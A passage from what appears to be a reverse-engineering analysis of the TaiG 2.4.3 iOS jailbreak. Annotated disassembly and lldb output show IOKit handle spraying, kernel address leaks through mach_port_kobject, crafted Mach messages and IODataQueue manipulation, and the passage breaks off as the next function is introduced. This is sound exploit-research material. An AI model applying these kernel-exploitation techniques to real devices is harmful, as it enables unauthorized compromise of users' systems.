10000e620 940001fc BL _query_kernel_zone_allocations(127) ; ; 0x10000ee10 10000e624 52800018 MOVZ W24, #0; ; ->R24 = 0x0 exhaust_IOKit_By_opening_w21_descriptors: //
// Call IOServiceOpen (IOPMRootDomain handle, mach_task_self(), 0, sp_ec) either 1600 or 160 times, discarding the actual returned handle (sp_00ec overwritten) //
10000e628 b9400281 LDR W1, [X20, #0]; ; R1 = *(R20(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 10000e62c 52800002 MOVZ W2, #0; ; ->R2 = 0x0 10000e630 aa1b03e0 *MOV X0, X27 10000e634 aa1703e3 *MOV X3, X23 10000e638 940029fa BL IOKit::_IOServiceOpen ; ; 0x100018e20 ; R0 = IOKit::_IOServiceOpen((mach port),(mach port),0,0x100000cfeedfbbb); ; 10000e63c 35001580 CBNZ X0, release_object_and_fail ; ; 0x10000e8ec 10000e640 11000718 ADD W24, W24, #1; ; ..R24 = R24 (0x0) + 0x1 = 0x1 10000e644 6b15031f CMP W24, W21 10000e648 54ffff0b B.LT exhaust_IOKit_By_opening_w21_descriptors ; ; 0x10000e628 ready_for_more: 10000e64c 940001f1 BL _query_kernel_zone_allocations(127) ; ; 0x10000ee10 10000e650 52800015 MOVZ W21, #0; ; ->R21 = 0x0 10000e654 aa1603f8 *MOV X24, X22 more_IOKIT_torture_(0x420 descriptors): //
// Another loop, call IOServiceOpen ( IOPMRootDomain handle, mach_task_self, 0, sp_58e8 + i) , this time saving handles //
10000e658 b9400281 LDR W1, [X20, #0]; ; R1 = *(R20(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 10000e65c 52800002 MOVZ W2, #0; ; ->R2 = 0x0 10000e660 aa1b03e0 *MOV X0, X27 10000e664 aa1803e3 *MOV X3, X24 10000e668 940029ee BL IOKit::_IOServiceOpen ; ; 0x100018e20 ; R0 = IOKit::_IOServiceOpen((mach port),(mach port),0,0x100000cfeee53b7); ; 10000e66c 35001400 CBNZ X0, release_object_and_fail ; ; 0x10000e8ec 10000e670 110006b5 ADD W21, W21, #1; ; ..R21 = R21 (0x0) + 0x1 = 0x1 10000e674 91001318 ADD X24, X24, #4; ; ..R24 = R24 (0x100000cfeee53b7) + 0x4 = 0x100000cfeee53bb 10000e678 d2820e08 MOVZ X8, #4208; ; ->R8 = 0x1070 10000e67c aa1903e9 *MOV X9, X25 10000e680 71107ebf CMP W21, #1055 10000e684 54fffead B.LE more_IOKIT_torture_(0x420 descriptors) ; ; 0x10000e658
We first establish a handle to IOPMRootDomain
. Then, through not one but two runs, we call IOServiceOpen
either 160 or 1600 times - discarding the result (sp_00ec
down there gets overwritten). The second time, however, we keep each and every one of the 1056 handles that we get, at sp_58e8
(That's 1056 x 4 for 4224 (0x1080) bytes total, up to sp_6968
). Placing a breakpoint right after this stressful loop, we find:
# Note I had to reboot, so ASLR kicked in (didn't disable it) and now addresses are different..
# But we want e668 - so that becomes b6668 (remember slide is an integer # of pages), and the sp is still aligned to c00
(lldb) reg read $sp
sp = 0x000000016fd50c00 # So sp_58e8 == 0x000000016fd564e8
(lldb) b 0x1000b6688
Breakpoint 8: where = taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 700, address = 0x00000001000b6688
(lldb) c
Process 335 resuming
Process 335 stopped
* thread #1: tid = 0x8366, 0x00000001000b6688 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 700, queue = 'com.apple.main-thread', stop reason = breakpoint 8.1
frame #0: 0x00000001000b6688 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 700
taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 700:
-> 0x1000b6688: ldr q0, [x22, x8]
0x1000b668c: rev64.4s v0, v0
0x1000b6690: ext.16b v0, v0, v0, #8
0x1000b6694: str d0, [x9]
(lldb) mem read "$sp + 0x58e8"
0x16fd564e8: 03 4e 06 00 03 4f 06 00 03 50 06 00 03 51 06 00 .N...O...P...Q..
0x16fd564f8: 03 52 06 00 03 53 06 00 03 54 06 00 03 55 06 00 .R...S...T...U..
0x16fd56508: 03 56 06 00 03 57 06 00 03 58 06 00 03 59 06 00 .V...W...X...Y..
0x16fd56518: 03 5a 06 00 03 5b 06 00 03 5c 06 00 03 5d 06 00 .Z...[...\...]..
0x16fd56528: 03 5e 06 00 03 5f 06 00 03 60 06 00 03 61 06 00 .^..._...`...a..
0x16fd56538: 03 62 06 00 03 63 06 00 03 64 06 00 03 65 06 00 .b...c...d...e..
0x16fd56548: 03 66 06 00 03 67 06 00 03 68 06 00 03 69 06 00 .f...g...h...i..
0x16fd56558: 03 6a 06 00 03 6b 06 00 03 6c 06 00 03 6d 06 00 .j...k...l...m..
(lldb) print $x9 - $sp
(unsigned long) $7 = 16616 # sp_40e8
We then use a couple of SIMD/FP instructions which jtool
doesn't support (yet - I know, I'm working on it - it's just that they're quite rare). These flip around the list of ports from sp_58e8
to an array at sp_40e8
which x9 obtained from x25). Starting from 0x1070 (4208, loaded into x8) we iterate downwards by 16 at a time, till 0x0070. If you want to see this for yourself, you'll have to clear the breakpoint we had just set at 0x1000e688, because it's the beginning of a loop, and set one right after it:
(lldb) b 0x1000b66b0
Breakpoint 9: where = taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 740, address = 0x00000001000b66b0
(lldb) breakpoint delete 8
1 breakpoints deleted; 0 breakpoint locations disabled.
(lldb) c
Process 335 resuming
Process 335 stopped
* thread #1: tid = 0x8366, 0x00000001000b66b0 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 740, queue = 'com.apple.main-thread', stop reason = breakpoint 9.1
frame #0: 0x00000001000b66b0 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 740
taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 740:
-> 0x1000b66b0: mov x0, x27
0x1000b66b4: bl 0x1000c0d84 ; symbol stub for: IOObjectRelease
0x1000b66b8: ldr w0, [x20]
0x1000b66bc: ldr x8, [sp, #104]
(lldb) reg read $x8 $x9
x8 = 0x0000000000000070
x9 = 0x000000016fd55ce8
(lldb) mem read "$sp + 0x40e8"
0x16fd54ce8: 03 6d 0a 00 03 6c 0a 00 03 6b 0a 00 03 6a 0a 00 .m...l...k...j..
0x16fd54cf8: 03 69 0a 00 03 68 0a 00 03 67 0a 00 03 66 0a 00 .i...h...g...f..
0x16fd54d08: 03 65 0a 00 03 64 0a 00 03 63 0a 00 03 62 0a 00 .e...d...c...b..
0x16fd54d18: 03 61 0a 00 03 60 0a 00 03 5f 0a 00 03 5e 0a 00 .a...`..._...^..
0x16fd54d28: 03 5d 0a 00 03 5c 0a 00 03 5b 0a 00 03 5a 0a 00 .]...\...[...Z..
0x16fd54d38: 03 59 0a 00 03 58 0a 00 03 57 0a 00 03 56 0a 00 .Y...X...W...V..
0x16fd54d48: 03 55 0a 00 03 54 0a 00 03 53 0a 00 03 52 0a 00 .U...T...S...R..
0x16fd54d58: 03 51 0a 00 03 50 0a 00 03 4f 0a 00 03 4e 0a 00 .Q...P...O...N..
After this, we can release that IOPMRootDomain
handle, and go visit another old friend.
mach_port_kobject
returns
Turns out TaiG use mach_port_kobject
again. In fact, they do so a lot. What follows is a loop of calling it on the handles obtained by exhausting IOKit:
//
// call mach_port_kobject(mach_task_self,
// saved_port,
// sp_007c,
// sp_00f0 //
10000e6b8 b9400280 LDR W0, [X20, #0]; ; R0 = *(R20(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 10000e6bc f94037e8 LDR X8, [X31, #104]; R8 = *(SP + 0x68)? 10000e6c0 b950011c LDR W28, [X8, #4096]; ..??? 10000e6c4 9101f3e2 ADD X2, SP, #124; ; R2 = SP + 0x7c 10000e6c8 9103c3fb ADD X27, SP, #240; ; R27 = SP + 0xf0 10000e6cc aa1c03e1 *MOV X1, X28 10000e6d0 aa1b03e3 *MOV X3, X27 10000e6d4 94002a7e BL libSystem.B.dylib::_mach_port_kobject ; ; 0x1000190cc 10000e6d8 350006e0 CBNZ X0, mach_port_kobject_not_zero ; ; 0x10000e7b4 10000e6dc f9407be8 LDR X8, [X31, #240]; R8 = *(SP + 0xf0)? 10000e6e0 f140051f CMP X8, #1 10000e6e4 54000689 B.LS mach_port_kobject_not_zero ; ; 0x10000e7b4 10000e6e8 b27e03f5 ORR X21, XZR, #0x4; ; ->R21 = 0x4 10000e6ec aa1b03f8 *MOV X24, X27 10000e6f0 14000004 B start_mach_port_kobject_forcing ; ; 0x10000e700 mach_port_kobject_retry: 10000e6f4 b8756b3c LDR W28, [X25, X21 ...] 10000e6f8 91002318 ADD X24, X24, #8; ; ..R24 = R24 (0x100000cfeedfbbf) + 0x8 = 0x100000cfeedfbc7 10000e6fc 910012b5 ADD X21, X21, #4; ; ..R21 = R21 (0x4) + 0x4 = 0x8 start_mach_port_kobject_forcing: //
// As we start iterating, x24 = sp_00f0, and x21 = 0x4, x25 = sp_40e8.
// We call mach_port_kobject (mach_task_self, sp_40e8 + i, sp_007c, sp_00f0 + i), then correct the value (sp_00f0 + i) by substracting from mach_port_kobject of the IOMaster. //
10000e700 b9400280 LDR W0, [X20, #0]; ; R0 = *(R20(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 10000e704 9101f3e2 ADD X2, SP, #124; ; R2 = SP + 0x7c 10000e708 aa1c03e1 *MOV X1, X28 10000e70c aa1803e3 *MOV X3, X24 10000e710 94002a6f BL libSystem.B.dylib::_mach_port_kobject ; ; 0x1000190cc 10000e714 94000499 BL _gets_mach_port_kobject_of_iomaster ; ; 0x10000f978 //
// at this point, x0 holds the mach_port_kobject of the IOMasterPort, which is an (original, pre slide) kernel address. //
10000e718 f9400308 LDR X8, [X24, #0]; ; R8 = *(R24(0x100000cfeedfbc7) + 0x0) = *(0x100000cfeedfbc7) 10000e71c cb000108 SUB X8, X8, X0 10000e720 f9000308 STR X8, [X24, #0]; ; *((0x100000cfeedfbc7) + 0x0) *0x100000cfeedfbc7 = X8 0x3f3f3f3f 10000e724 f14006bf CMP X21, #1 10000e728 54fffe61 B.NE mach_port_kobject_retry ; ; 0x10000e6f4 10000e72c d2800015 MOVZ X21, #0; ; ->R21 = 0x0 10000e730 320003e8 ORR W8, WZR, #0x1; ; ->R8 = 0x1 10000e734 10074278 ADR x24, 59468; ; ->R24 = 0x10001cf80 @"%p %p %p %p" 10000e738 d503201f NOP 10000e73c 1007403c ADR x28, 59396; ; ->R28 = 0x10001cf40 @"s %d" 10000e740 d503201f NOP print_loop_1: //
// x9 set to sp_00f0 + i. We load two values (into x9 and x10) and check the difference between them //
10000e744 8b150f69 ADD X9, X27, X21, LSL #3 10000e748 a940252a LDP X10, X9, [X9,#0] 10000e74c cb0a0129 SUB X9, X9, X10 10000e750 f104013f CMP X9, #256 10000e754 54000061 B.NE 0x10000e760 ; 0x10000e760 10000e758 11000508 ADD W8, W8, #1; ; ..R8 = R8 (0x1) + 0x1 = 0x2 10000e75c 14000005 B 0x10000e770 ; 0x10000e770 10000e760 f90003e8 STR X8, [SP, #0] ; ? 10000e764 aa1c03e0 *MOV X0, X28 10000e768 940029b4 BL Foundation::_NSLog ; ; 0x100018e38 ; Foundation::_NSLog(@"s %d"); ; 10000e76c 320003e8 ORR W8, WZR, #0x1; ; ->R8 = 0x1 10000e770 910006b5 ADD X21, X21, #1; ; ..R21 = R21 (0x0) + 0x1 = 0x1 10000e774 f10ffebf CMP X21, #1023 10000e778 54fffe61 B.NE print_loop_1 ; ; 0x10000e744 //
// found the 1023rd pair that's not 0x100 bytes apart //
10000e77c 10073f20 ADR x0, 59364; ; ->R0 = 0x10001cf60 @"alloc %d" 10000e780 d503201f NOP 10000e784 940029ad BL Foundation::_NSLog ; ; 0x100018e38 ; Foundation::_NSLog(@"alloc %d"); ; 10000e788 d2800015 MOVZ X21, #0; ; ->R21 = 0x0 print_loop_2: 10000e78c 8b150368 ADD X8, X27, X21 10000e790 a9402909 LDP X9, X10, [X8,#0] 10000e794 a941210b LDP X11, X8, [X8,#16] 10000e798 a90123eb STP X11, X8, [SP,#16] 10000e79c a9002be9 STP X9, X10, [SP,#0] 10000e7a0 aa1803e0 *MOV X0, X24 10000e7a4 940029a5 BL Foundation::_NSLog ; ; 0x100018e38 ; Foundation::_NSLog(@"%p %p %p %p"); ; 10000e7a8 910082b5 ADD X21, X21, #32; ; ..R21 = R21 (0x0) + 0x20 = 0x20 10000e7ac f1400abf CMP X21, #2 10000e7b0 54fffee1 B.NE print_loop_2 ; ; 0x10000e78c mach_port_kobject_not_zero:
Setting a breakpoint on mach_port_kobject, we get:
(lldb) b mach_port_kobject Breakpoint 10: where = libsystem_kernel.dylib`mach_port_kobject, address = 0x0000000197889ed0 (lldb) c Process 335 resuming Process 335 stopped * thread #1: tid = 0x8366, 0x0000000197889ed0 libsystem_kernel.dylib`mach_port_kobject, queue = 'com.apple.main-thread', stop reason = breakpoint 10.1 frame #0: 0x0000000197889ed0 libsystem_kernel.dylib`mach_port_kobject libsystem_kernel.dylib`mach_port_kobject: -> 0x197889ed0: b 0x19787c35c ; _kernelrpc_mach_port_kobject libsystem_kernel.dylib`mach_port_unguard: 0x197889ed4: stp x22, x21, [sp, #-48]! 0x197889ed8: stp x20, x19, [sp, #16] 0x197889edc: stp fp, lr, [sp, #32] (lldb) reg read x0 x1 x2 x3 x0 = 0x0000000000000103 x1 = 0x00000000000a6d03 x2 = 0x000000016fd50c7c Out: object_type to sp_007c x3 = 0x000000016fd50cf0 Out: object_addr to sp_00f0
Setting a breakpoint on 0x1000e718, we have:
(lldb) Process 335 stopped * thread #1: tid = 0x8366, 0x00000001000b6718 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 844, queue = 'com.apple.main-thread', stop reason = instruction step into frame #0: 0x00000001000b6718 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 844 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 844: -> 0x1000b6718: ldr x8, [x24] 0x1000b671c: sub x8, x8, x0 0x1000b6720: str x8, [x24] 0x1000b6724: cmp x21, #4096 (lldb) reg read x0 x0 = 0xffffff8002535017
And that value of x0 there looks suspiciously like a (non slid) kernel address. So not only is mach_port_kobject
alive and well (Thank you for asking), it's actually working as advertised. This loop repeats till 10000e72c, so we set a breakpoint there. Suddenly, the mach_port_kobject
values don't look THAT obfuscated anymore:
* thread #1: tid = 0x8366, 0x00000001000b672c taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 864, queue = 'com.apple.main-thread', stop reason = breakpoint 11.1
frame #0: 0x00000001000b672c taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 864
taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 864:
-> 0x1000b672c: movz x21, #0
0x1000b6730: orr w8, wzr, #0x1
0x1000b6734: adr x24, #59468 ; @"%p %p %p %p"
0x1000b6738: nop
(lldb) mem read "$sp + 0xf0"
0x16fd50cf0: 0e 04 9c 44 92 cc e8 b3 0e 05 9c 44 92 cc e8 b3 ...D.......D....
0x16fd50d00: 0e 06 9c 44 92 cc e8 b3 0e 07 9c 44 92 cc e8 b3 ...D.......D....
0x16fd50d10: 0e 08 9c 44 92 cc e8 b3 0e 09 9c 44 92 cc e8 b3 ...D.......D....
0x16fd50d20: 0e 0a 9c 44 92 cc e8 b3 0e 0b 9c 44 92 cc e8 b3 ...D.......D....
0x16fd50d30: 0e 0c 9c 44 92 cc e8 b3 0e 0d 9c 44 92 cc e8 b3 ...D.......D....
0x16fd50d40: 0e 2e 9b 44 92 cc e8 b3 0e 2f 9b 44 92 cc e8 b3 ...D...../.D....
0x16fd50d50: 0e 30 9b 44 92 cc e8 b3 0e 31 9b 44 92 cc e8 b3 .0.D.....1.D....
0x16fd50d60: 0e 32 9b 44 92 cc e8 b3 0e 33 9b 44 92 cc e8 b3 .2.D.....3.D....
..
We next iterate over these values, looking at every pair, and looking for allocations which are not exactly 256 (0x100) apart. These get logged via NSLog to stdout (e.g. taig.2.4.3[335:33638] s 10"
). When we find the 1023rd of these (w21=0x3ff) we log that too (e.g. taig.2.4.3[335:33638] 0xb3e8cc92449c040e 0xb3e8cc92449c050e 0xb3e8cc92449c060e 0xb3e8cc92449c070e
) and iterate over 256 more pairs. We save the last pair on the stack like so:
(lldb) mem read "$x27 + $x21 - 0x20" # from sp_0020xx
0x16fd52cd0: 0e f0 e3 43 92 cc e8 b3 0e f1 e3 43 92 cc e8 b3 ...C.......C....
0x16fd52ce0: 0e f2 e3 43 92 cc e8 b3 0e f3 e3 43 92 cc e8 b3 ...C.......C....
(lldb) mem read $sp
0x16fd50c00: 0e f0 e3 43 92 cc e8 b3 0e f1 e3 43 92 cc e8 b3 ...C.......C....
0x16fd50c10: 0e f2 e3 43 92 cc e8 b3 0e f3 e3 43 92 cc e8 b3 ...C.......C....
(lldb)
Fun with Mach Messages
Now it's time for some hand crafted Mach messages. Set a breakpoint at 0x1000e800:
(lldb) b 0x1000b6800 Breakpoint 17: where = taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 1076, address = 0x00000001000b6800 (lldb) c Process 335 resuming Process 335 stopped * thread #1: tid = 0x8366, 0x00000001000b6800 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 1076, queue = 'com.apple.main-thread', stop reason = breakpoint 17.1 frame #0: 0x00000001000b6800 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 1076 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 1076: -> 0x1000b6800: bl 0x1000b6b9c ; ___lldb_unnamed_function124$$taig.2.4.3 0x1000b6804: cmp w0, #0 0x1000b6808: b.lt 0x1000b68b0 ; ___lldb_unnamed_function123$$taig.2.4.3 + 1252 0x1000b680c: ldr w8, [sp, #128] (lldb) reg read x0 x1 x2 x3 x4 x0 = 0x000000016fd57970 # That's our argument x1 = 0x000000016fd550c8 # sp_44c8 - into ports array x2 = 0x0000000000000003 # 3! x3 = 0x000000016fd50c80 # sp_0080 x4 = 0x000000016fd53ce8 # sp_30e8
The function takes its arguments, and crafts a mach message which will be sent using function #47. Setting a breakpoint right before the call (10000ec8c), we'd get:
* thread #1: tid = 0x8366, 0x00000001000b6c8c taig.2.4.3`___lldb_unnamed_function124$$taig.2.4.3 + 240, queue = 'com.apple.main-thread', stop reason = breakpoint 19.1 frame #0: 0x00000001000b6c8c taig.2.4.3`___lldb_unnamed_function124$$taig.2.4.3 + 240 taig.2.4.3`___lldb_unnamed_function124$$taig.2.4.3 + 240: -> 0x1000b6c8c: bl 0x1000b1914 ; ___lldb_unnamed_function47$$taig.2.4.3 0x1000b6c90: cbnz w0, 0x1000b6d08 ; ___lldb_unnamed_function124$$taig.2.4.3 + 364 0x1000b6c94: ldr w1, [x23] 0x1000b6c98: add x2, sp, #1048 (lldb) reg read x0 x1 x2 x3 x0 = 0x00000000000a7203 # A port x1 = 0x000000016fd50798 # memset to 0xcc back in 0x24 x2 = 0x00000000000000a8 x3 = 0x0000000000000004 (lldb) b mach_msg .. x0 = 0x000000016fd4fe20 # mach_msg_header_t *msg, x1 = 0x0000000000000001 # mach_msg_option_t option x2 = 0x000000000000005c # mach_msg_size_t send_size x3 = 0x0000000000000000 # mach_msg_size_t rcv_size x4 = 0x0000000000000000 # mach_port_name_t rcv_name x5 = 0x0000000000000000 # mach_msg_timeout_t timeout x6 = 0x0000000000000000 # mach_port_name_t notify (lldb) mem read 16fd4fe20 0x16fd4fe20: 14 00 00 80 5c 00 00 00 03 72 0a 00 00 00 00 00 ....\....r...... 0x16fd4fe30: 00 00 00 00 00 00 00 00 04 00 00 00 98 07 d5 6f ...............o 0x16fd4fe40: 01 00 00 00 00 00 00 01 a8 00 00 00 98 07 d5 6f ...............o 0x16fd4fe50: 01 00 00 00 00 00 00 01 a8 00 00 00 98 07 d5 6f ...............o 0x16fd4fe60: 01 00 00 00 00 00 00 01 a8 00 00 00 98 07 d5 6f ...............o 0x16fd4fe70: 01 00 00 00 00 00 00 01 a8 00 00 00 00 00 00 00 ................
So we send only (as evidenced by option 0x01, MACH_SEND_MSG
and the null name size for receive), the fine buffer shown above, to port 0xa7203, with an array of four pointer values (to 0x016fd50798, which is memset to 0xcc), of 0xa8 bytes. We then call 0x010000e200 with the arguments of:
(lldb) reg read x0 x1 x2 x3 x4 x0 = 0x000000016fd57970 # That user arg x1 = 0x0000000000097503 # A port x2 = 0x000000016fd50398 # Another 0xcc memset buffer x3 = 0x0000000000000118 x4 = 0x0000000000000000 # Reminder - that's what's in the user buffer (lldb) mem read $x0 friend b0b IOConnected Mem 0x16fd57970: 0b 0b 00 00 03 0f 00 00 00 80 44 00 01 00 00 00 ..........D..... 0x16fd57980: 30 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0@.............. 0x16fd57990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x16fd579a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x16fd579b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x16fd579c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x16fd579d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x16fd579e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
If fun with mach_msgs had no fun, we re-launch our assault on IOKit. Otherwise, we use IODataQueue
.
IODataQueues
Apple defines the IODataQueue
as a method to communicate with the IOKit drivers. Basically, you have this queue which you can use IODataQueuePeek
to poll , and IODataQueueDequeue
to read from. Function 121 peeks at the queue, makes sure that the queue is empty (IODataQueuePeek returns 0), spawns a thread. The thread function is _more_IOHID_fun.
_mess_with_IODataQueue(121): 10000e200 a9bb67fa STP X26, X25, [SP,#-80]! 10000e204 a9015ff8 STP X24, X23, [SP,#16] 10000e208 a90257f6 STP X22, X21, [SP,#32] 10000e20c a9034ff4 STP X20, X19, [SP,#48] 10000e210 a9047bfd STP X29, X30, [SP,#64] 10000e214 910103fd ADD X29, SP, #64; ; R29 = SP + 0x40 10000e218 d10143ff SUB X31, X31, #80 10000e21c aa0303f5 *MOV X21, X3 10000e220 aa0203f3 *MOV X19, X2 10000e224 aa0003f4 *MOV X20, X0 10000e228 d503201f NOP //
// Make sure the IODataQueue is empty (that is, IODataQueuePeek returns NULL) //
10000e22c 5806f038 LDR X24, #14209; ; R24 = *0x10001c030libSystem.B.dylib::___stack_chk_guard 10000e230 f9400308 LDR X8, [X24, #0]; ; R8 = *(R24(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 10000e234 f90027e8 STR X8, [SP, #72] ; ? 10000e238 f9001bff STR XZR, [SP, #48] ; ? 10000e23c f90013f4 STR X20, [SP, #32] ; ? 10000e240 b9002be1 STR W1, [SP, #40] ; ? 10000e244 b9001fff STR WZR, [SP, #28] ; ? 10000e248 a903ffff STP XZR, XZR, [SP,#56] 10000e24c f9400680 LDR X0, [X20, #8]; ; R0 = *(R20(0x10001d000) + 0x8) = *(0x10001d008) => 0x7c8 10000e250 94002ac4 BL IOKit::_IODataQueuePeek ; ; 0x100018d60 10000e254 b4000140 CBZ X0, IODataQueue_is_empty ; ; 0x10000e27c 10000e258 910073f6 ADD X22, SP, #28; ; R22 = SP + 0x1c 10000e25c b9001fff STR WZR, [SP, #28] ; ? 10000e260 f9400680 LDR X0, [X20, #8]; ; R0 = *(R20(0x10001d000) + 0x8) = *(0x10001d008) => 0x7c8 10000e264 d2800001 MOVZ X1, #0; ; ->R1 = 0x0 10000e268 aa1603e2 *MOV X2, X22 10000e26c 94002aba BL IOKit::_IODataQueueDequeue ; ; 0x100018d54 10000e270 f9400680 LDR X0, [X20, #8]; ; R0 = *(R20(0x10001d000) + 0x8) = *(0x10001d008) => 0x7c8 10000e274 94002abb BL IOKit::_IODataQueuePeek ; ; 0x100018d60 10000e278 b5ffff20 CBNZ X0, 0x10000e25c ; 0x10000e25c IODataQueue_is_empty: //
// spawn a thread to have more fun with IOHID //
10000e27c d2800001 MOVZ X1, #0; ; ->R1 = 0x0 10000e280 100063e2 ADR x2, 3196; ; ->R2 = 0x10000eefc ; _more_IOHID_fun 10000e284 d503201f NOP 10000e288 9100c3e0 ADD X0, SP, #48; ; R0 = SP + 0x30 10000e28c 910083e3 ADD X3, SP, #32; ; R3 = SP + 0x20 10000e290 94002bc2 BL libSystem.B.dylib::_pthread_create ; ; 0x100019198 10000e294 35000520 CBNZ X0, fail ; ; 0x10000e338 10000e298 52800019 MOVZ W25, #0; ; ->R25 = 0x0 10000e29c 93407eb5 ASR X21, X21, #0 10000e2a0 9100e3f6 ADD X22, SP, #56; ; R22 = SP + 0x38 10000e2a4 910073f7 ADD X23, SP, #28; ; R23 = SP + 0x1c try_up_to_ten_times: 10000e2a8 5280001a MOVZ W26, #0; ; ->R26 = 0x0 sleep_a_little: //
// wait for output to arrive //
10000e2ac 5280fa00 MOVZ W0, #2000; ; ->R0 = 0x7d0 10000e2b0 94002c1d BL libSystem.B.dylib::_usleep ; ; 0x100019324 ; libSystem.B.dylib::_usleep(2000); ; 10000e2b4 f9400680 LDR X0, [X20, #8]; ; R0 = *(R20(0x10001d000) + 0x8) = *(0x10001d008) => 0x7c8 10000e2b8 94002aaa BL IOKit::_IODataQueuePeek ; ; 0x100018d60 10000e2bc b50000a0 CBNZ X0, got_output ; ; 0x10000e2d0 10000e2c0 1100075a ADD W26, W26, #1; ; ..R26 = R26 (0x0) + 0x1 = 0x1 10000e2c4 7100275f CMP W26, #9 10000e2c8 54ffff2d B.LE sleep_a_little ; ; 0x10000e2ac 10000e2cc 1400001b B fail ; ; 0x10000e338 got_output: //
// We have output in the Queue! so now - call method 3 (PostReportResult) //
10000e2d0 f9001fff STR XZR, [SP, #56] ; ? 10000e2d4 f8414008 LDUR X8, X0, #20 ; ? 10000e2d8 f90023e8 STR X8, [SP, #64] ; ? 10000e2dc b9400280 LDR W0, [X20, #0]; ; R0 = *(R20(0x10001d000) + 0x0) = *(0x10001d000) 10000e2e0 a9007fff STP XZR, XZR, [SP,#0] 10000e2e4 320007e1 ORR W1, WZR, #0x3; ; ->R1 = 0x3 10000e2e8 321f03e3 ORR W3, WZR, #0x2; ; ->R3 = 0x2 10000e2ec aa1603e2 *MOV X2, X22 10000e2f0 aa1303e4 *MOV X4, X19 10000e2f4 aa1503e5 *MOV X5, X21 10000e2f8 d2800006 MOVZ X6, #0; ; ->R6 = 0x0 10000e2fc d2800007 MOVZ X7, #0; ; ->R7 = 0x0 10000e300 94002a7a BL IOKit::_IOConnectCallMethod ; ; 0x100018ce8 ; R0 = IOKit::_IOConnectCallMethod((mach port),3,0x100000cfeedfb07,2,0xffffffffffffffff,92,NULL,NULL,1061109567,? - 209494); ; 10000e304 350001a0 CBNZ X0, fail ; ; 0x10000e338 10000e308 b9001fff STR WZR, [SP, #28] ; ? 10000e30c f9400680 LDR X0, [X20, #8]; ; R0 = *(R20(0x10001d000) + 0x8) = *(0x10001d008) => 0x7c8 10000e310 d2800001 MOVZ X1, #0; ; ->R1 = 0x0 10000e314 aa1703e2 *MOV X2, X23 10000e318 94002a8f BL IOKit::_IODataQueueDequeue ; ; 0x100018d54 10000e31c 71002b5f CMP W26, #10 10000e320 540000ca B.GE fail ; ; 0x10000e338 10000e324 11000739 ADD W25, W25, #1; ; ..R25 = R25 (0x0) + 0x1 = 0x1 10000e328 7100073f CMP W25, #1 10000e32c 54fffbed B.LE try_up_to_ten_times ; ; 0x10000e2a8 success!: //
// Load 0 as return value and head for exit //
10000e330 52800013 MOVZ W19, #0; ; ->R19 = 0x0 10000e334 14000002 B head_for_exit ; ; 0x10000e33c ; head_for_exit(72057649854544591); ; fail: 10000e338 12800013 MOVN X19, #0; ; ->R19 = 0xffffffffffffffff head_for_exit: 10000e33c f9401be0 LDR X0, [X31, #48]; R0 = *(SP + 0x30)? 10000e340 b4000040 CBZ X0, 0x10000e348 ; 0x10000e348 10000e344 94002b98 BL libSystem.B.dylib::_pthread_detach ; ; 0x1000191a4 10000e348 b9402be0 LDR W0, [X31, #40]; R0 = *(SP + 0x28)? 10000e34c 34000060 CBZ X0, 0x10000e358 ; 0x10000e358 10000e350 94002aa8 BL IOKit::_IOServiceClose ; ; 0x100018df0 10000e354 b9002bff STR WZR, [SP, #40] ; ? 10000e358 f9400308 LDR X8, [X24, #0]; ; R8 = *(R24(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 10000e35c f94027e9 LDR X9, [X31, #72]; R9 = *(SP + 0x48)? 10000e360 cb090108 SUB X8, X8, X9 10000e364 b5000128 CBNZ X8, 0x10000e388 ; 0x10000e388 10000e368 aa1303e0 *MOV X0, X19 10000e36c d10103bf SUB X31, X29, #64 10000e370 a9447bfd LDP X29, X30, [SP,#64] 10000e374 a9434ff4 LDP X20, X19, [SP,#48] 10000e378 a94257f6 LDP X22, X21, [SP,#32] 10000e37c a9415ff8 LDP X24, X23, [SP,#16] 10000e380 a8c567fa LDP X26, X25, [SP],#80 10000e384 d65f03c0 RET 10000e388 94002ad9 BL libSystem.B.dylib::___stack_chk_fail ; ; 0x100018eec
The thread function, _more_IO_Fun, looks like this:
